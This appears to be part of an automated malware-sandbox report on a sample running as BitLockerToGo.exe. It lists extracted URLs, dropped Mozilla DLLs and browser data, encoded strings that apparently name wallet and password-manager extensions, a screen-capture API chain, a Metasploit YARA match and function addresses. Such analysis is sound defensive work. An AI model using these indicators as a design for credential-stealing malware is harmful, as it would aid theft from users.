Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: BitLockerToGo.exe, BitLockerToGo.exe, 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: BitLockerToGo.exe, 00000001.00000002.2077374540.000000001CBDC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2084293154.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecop
Source: BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecopnacl
Source: JEBFIIIE.1.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2081688991.0000000028BF1000.00000004.00000020.00020000.00000000.sdmp, GHDHJEBFBFHJECAKFCAA.1.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2081688991.0000000028BF1000.00000004.00000020.00020000.00000000.sdmp, GHDHJEBFBFHJECAKFCAA.1.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: JEBFIIIE.1.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp, JEBFIIIE.1.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp, JEBFIIIE.1.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2081688991.0000000028BF1000.00000004.00000020.00020000.00000000.sdmp, GHDHJEBFBFHJECAKFCAA.1.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2081688991.0000000028BF1000.00000004.00000020.00020000.00000000.sdmp, GHDHJEBFBFHJECAKFCAA.1.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: https://doi.org/GTB
Source: BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp, JEBFIIIE.1.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: JEBFIIIE.1.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp, JEBFIIIE.1.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: GHDHJEBFBFHJECAKFCAA.1.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: https://mozilla.org0/
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: https://ramensoftware.com/0
Source: KEHDBAEGIIIEBGCAAFHIDHDBFB.1.dr	String found in binary or memory: https://support.mozilla.org
Source: KEHDBAEGIIIEBGCAAFHIDHDBFB.1.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: KEHDBAEGIIIEBGCAAFHIDHDBFB.1.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: BitLockerToGo.exe, 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1913485231.0000000022B61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: BitLockerToGo.exe, 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY
Source: BitLockerToGo.exe, 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV
Source: BitLockerToGo.exe, 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1913485231.0000000022B61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: BitLockerToGo.exe, 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF
Source: BitLockerToGo.exe, 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17ate
Source: BitLockerToGo.exe, 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm
Source: BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2081688991.0000000028BF1000.00000004.00000020.00020000.00000000.sdmp, GHDHJEBFBFHJECAKFCAA.1.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: JEBFIIIE.1.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2081688991.0000000028BF1000.00000004.00000020.00020000.00000000.sdmp, GHDHJEBFBFHJECAKFCAA.1.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: JEBFIIIE.1.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: KEHDBAEGIIIEBGCAAFHIDHDBFB.1.dr	String found in binary or memory: https://www.mozilla.org
Source: BitLockerToGo.exe, 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: KEHDBAEGIIIEBGCAAFHIDHDBFB.1.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: BitLockerToGo.exe, 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: KEHDBAEGIIIEBGCAAFHIDHDBFB.1.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: BitLockerToGo.exe, 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: BitLockerToGo.exe, 00000001.00000003.2001248684.0000000028EB3000.00000004.00000020.00020000.00000000.sdmp, KEHDBAEGIIIEBGCAAFHIDHDBFB.1.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: BitLockerToGo.exe, 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: BitLockerToGo.exe, 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: KEHDBAEGIIIEBGCAAFHIDHDBFB.1.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: BitLockerToGo.exe, 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: BitLockerToGo.exe, 00000001.00000003.2001248684.0000000028EB3000.00000004.00000020.00020000.00000000.sdmp, KEHDBAEGIIIEBGCAAFHIDHDBFB.1.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 1_2_02769010 CreateStreamOnHGlobal,GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GetHGlobalFromStream,GlobalLock,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow,

1_2_02769010

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.1843071659.0000000002500000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth
Source: 00000000.00000002.1843071659.0000000002466000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth
Source: 00000000.00000002.1843071659.000000000232E000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C81ED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset,	1_2_6C81ED10
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C85B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	1_2_6C85B700
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C85B8C0 rand_s,NtQueryVirtualMemory,	1_2_6C85B8C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C85B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	1_2_6C85B910
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C7FF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	1_2_6C7FF280

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C7F35A0	1_2_6C7F35A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C806C80	1_2_6C806C80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C8534A0	1_2_6C8534A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C85C4A0	1_2_6C85C4A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C8064C0	1_2_6C8064C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C81D4D0	1_2_6C81D4D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C836CF0	1_2_6C836CF0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C86AC00	1_2_6C86AC00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C835C10	1_2_6C835C10
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C842C10	1_2_6C842C10
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C7FD4E0	1_2_6C7FD4E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C86542B	1_2_6C86542B
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C805440	1_2_6C805440
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C86545C	1_2_6C86545C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C830DD0	1_2_6C830DD0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C8585F0	1_2_6C8585F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C80FD00	1_2_6C80FD00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C820512	1_2_6C820512
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C81ED10	1_2_6C81ED10
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C85E680	1_2_6C85E680
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C7FC670	1_2_6C7FC670
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C815E90	1_2_6C815E90
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C854EA0	1_2_6C854EA0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C8676E3	1_2_6C8676E3
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C80FEF0	1_2_6C80FEF0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C845600	1_2_6C845600
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C7FBEF0	1_2_6C7FBEF0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C837E10	1_2_6C837E10
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C859E30	1_2_6C859E30
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C814640	1_2_6C814640
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C842E4E	1_2_6C842E4E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C819E50	1_2_6C819E50
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C833E50	1_2_6C833E50
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C866E63	1_2_6C866E63
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C8477A0	1_2_6C8477A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C826FF0	1_2_6C826FF0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C809F00	1_2_6C809F00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C837710	1_2_6C837710
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C7FDFE0	1_2_6C7FDFE0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C8260A0	1_2_6C8260A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C8650C7	1_2_6C8650C7
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C81C0E0	1_2_6C81C0E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C8358E0	1_2_6C8358E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C807810	1_2_6C807810
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C83B820	1_2_6C83B820
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C844820	1_2_6C844820
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C818850	1_2_6C818850
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C81D850	1_2_6C81D850
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C83F070	1_2_6C83F070
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C835190	1_2_6C835190
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C852990	1_2_6C852990
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C82D9B0	1_2_6C82D9B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C81A940	1_2_6C81A940
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C7FC9A0	1_2_6C7FC9A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C80D960	1_2_6C80D960
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C84B970	1_2_6C84B970
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C86B170	1_2_6C86B170
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C86BA90	1_2_6C86BA90
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C824AA0	1_2_6C824AA0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C80CAB0	1_2_6C80CAB0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C862AB0	1_2_6C862AB0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C838AC0	1_2_6C838AC0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C811AF0	1_2_6C811AF0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C83E2F0	1_2_6C83E2F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C7F22A0	1_2_6C7F22A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C839A60	1_2_6C839A60
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C7F5340	1_2_6C7F5340
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C8653C8	1_2_6C8653C8
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C83D320	1_2_6C83D320
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C80C370	1_2_6C80C370
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C7FF380	1_2_6C7FF380
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C89ECC0	1_2_6C89ECC0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C8FECD0	1_2_6C8FECD0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C966C00	1_2_6C966C00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C97AC30	1_2_6C97AC30
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C8AAC60	1_2_6C8AAC60
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C936D90	1_2_6C936D90
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C8A4DB0	1_2_6C8A4DB0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6CA2CDC0	1_2_6CA2CDC0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6CA28D20	1_2_6CA28D20
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C9CAD50	1_2_6C9CAD50
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C96ED70	1_2_6C96ED70
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C926E90	1_2_6C926E90
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C8AAEC0	1_2_6C8AAEC0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C940EC0	1_2_6C940EC0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C980E20	1_2_6C980E20
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C93EE70	1_2_6C93EE70

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 6C82CBE8 appears 134 times
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 6C8394D0 appears 90 times
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 027545C0 appears 317 times

Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe, 00000000.00000002.1843071659.000000000223F000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameBITLOCKERTOGO.EXEj% vs 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe

